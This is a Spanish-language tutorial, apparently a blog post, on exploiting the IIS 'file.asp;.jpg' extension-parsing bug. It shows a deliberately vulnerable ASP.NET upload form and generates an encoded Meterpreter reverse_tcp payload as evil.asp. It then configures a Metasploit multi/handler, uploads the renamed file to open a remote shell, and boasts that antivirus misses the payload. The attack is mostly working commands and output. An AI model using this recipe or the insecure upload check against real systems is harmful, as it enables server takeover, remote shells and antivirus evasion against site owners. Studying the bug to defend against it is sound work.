
By: Shell Root
Mucho tiempo atrás, vimos del Bug del Internet Information Server, ahora explicaré la forma de exploitarlo, usando a mi mejor amigo, Metasploit!. En que consiste este fallo?, Este fallo permite a un usuario subir un archivo «seguro» con extensión (jpg, png, etc) para cargar un script de ASP y obligar la ejecución del archivo dentro del servidor web.Pero como?, El error se produce cuando un nombre de archivo especificado en la forma de «Archivo.asp;. jpg», la aplicación comprueba la extensión del archivo y ve a «.jpg», pero el servidor IIS se detiene a analizar el primero «;» y ve «.asp».
Recordando un poco mi profesión (Desarrollador de Software), vamos a realizar un ejemplo practico, de como seria el upload en tiempo real y como seria el bypassin del script malicioso con la extensión .asp
Miremos el upload vulnerable! (Codeado en Visual Studio .NET)
Default.aspx
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Upload By: Shell Root</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<table style="width: 35%;">
<tr>
<td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
</td>
</tr>
<tr>
<td colspan="2" align="center">
<asp:Button ID="BtnSubir" runat="server" Text="Subir" style="height: 26px" />
</td>
</tr>
</table>
</div>
</form>
</body>
</html>
Default.aspx.vb
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub BtnSubir_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles BtnSubir.Click
Try
Dim fileName As String = Server.HtmlEncode(Me.FileUpload1.FileName)
Dim extension As String = System.IO.Path.GetExtension(fileName)
If (Me.FileUpload1.HasFile) Then
If (extension = ".jpg") Or (extension = ".gif") Or (extension = ".png") Or (extension = ".jpg") Then
Me.FileUpload1.SaveAs(Server.MapPath("~/Imagenes/" & FileUpload1.FileName))
Else
MsgBox("Error la extension de la foto debe ser tipo: .jpg, .gif, .png", MsgBoxStyle.Critical, "Error de Formato")
End If
End If
Catch ex As Exception
MsgBox("Error: " & ex.Message, MsgBoxStyle.Critical, "Error")
End Try
End Sub
End Class
Ahora ya tenemos el upload, tratemos de ingresar un archivo con extension no permitida, nos saldra el mensaje Error la extension de la foto debe ser tipo: .jpg, .gif, .png, pero si ingresamos una imagen verdadera con las extensiones permitidas, vemos que se puede visualizar si ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/.
Ya tenemos el upload verificado, ahora vamos a crear un script malicioso, que nos devolvera una session del meterpreter. Así:
shellroot@shellroot-desktop:~$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.137 LPORT=1234 R | msfencode -o /home/shellroot/evil.asp[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
Ingresamos a la consola del Metasploit, configuramos el multi/handler con los datos anteriores y lo ejecutamos.
shellroot@shellroot-desktop:~$ msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / _|/ _|/ / _| |
| | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
/|
|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
=[ svn r8404 updated today (2010.02.08)
msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.142.137:1234[*] Starting the payload handler...
Ahora al archivo malicioso, le cambiamos el nombre de Archivo.asp a Archivo.asp;.jpg. Con esto bastará para bypassear el upload y ademas ejecutar el archivo malicioso dentro del servidor. Vamos al upload, lo buscamos y lo subimos, ahora, Como lo ejecutamos? Ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/Archivo.asp;.jpg, con esto el servidor interpretará solo hasta Archivo.asp (Es lo unico que nos interesa que interprete). Con esto ejecutamos el archivo, miramos el multi/handler y woala, una session del meterpreter.
[*] Meterpreter session 1 opened (192.168.142.137:1234 -> 192.168.142.1:7752)
PD: En el siguiente enlace, podeis ver que el archivo malicioso no es detectado por lo antivirus. Multi-Engine Antivirus Scanner – Services – NoVirusThanks.org
| File Info
Report date: 8.2.2010 at 22.49.59 (GMT 1) Scan report generated by NoVirusThanks.org |
By: Shell Root
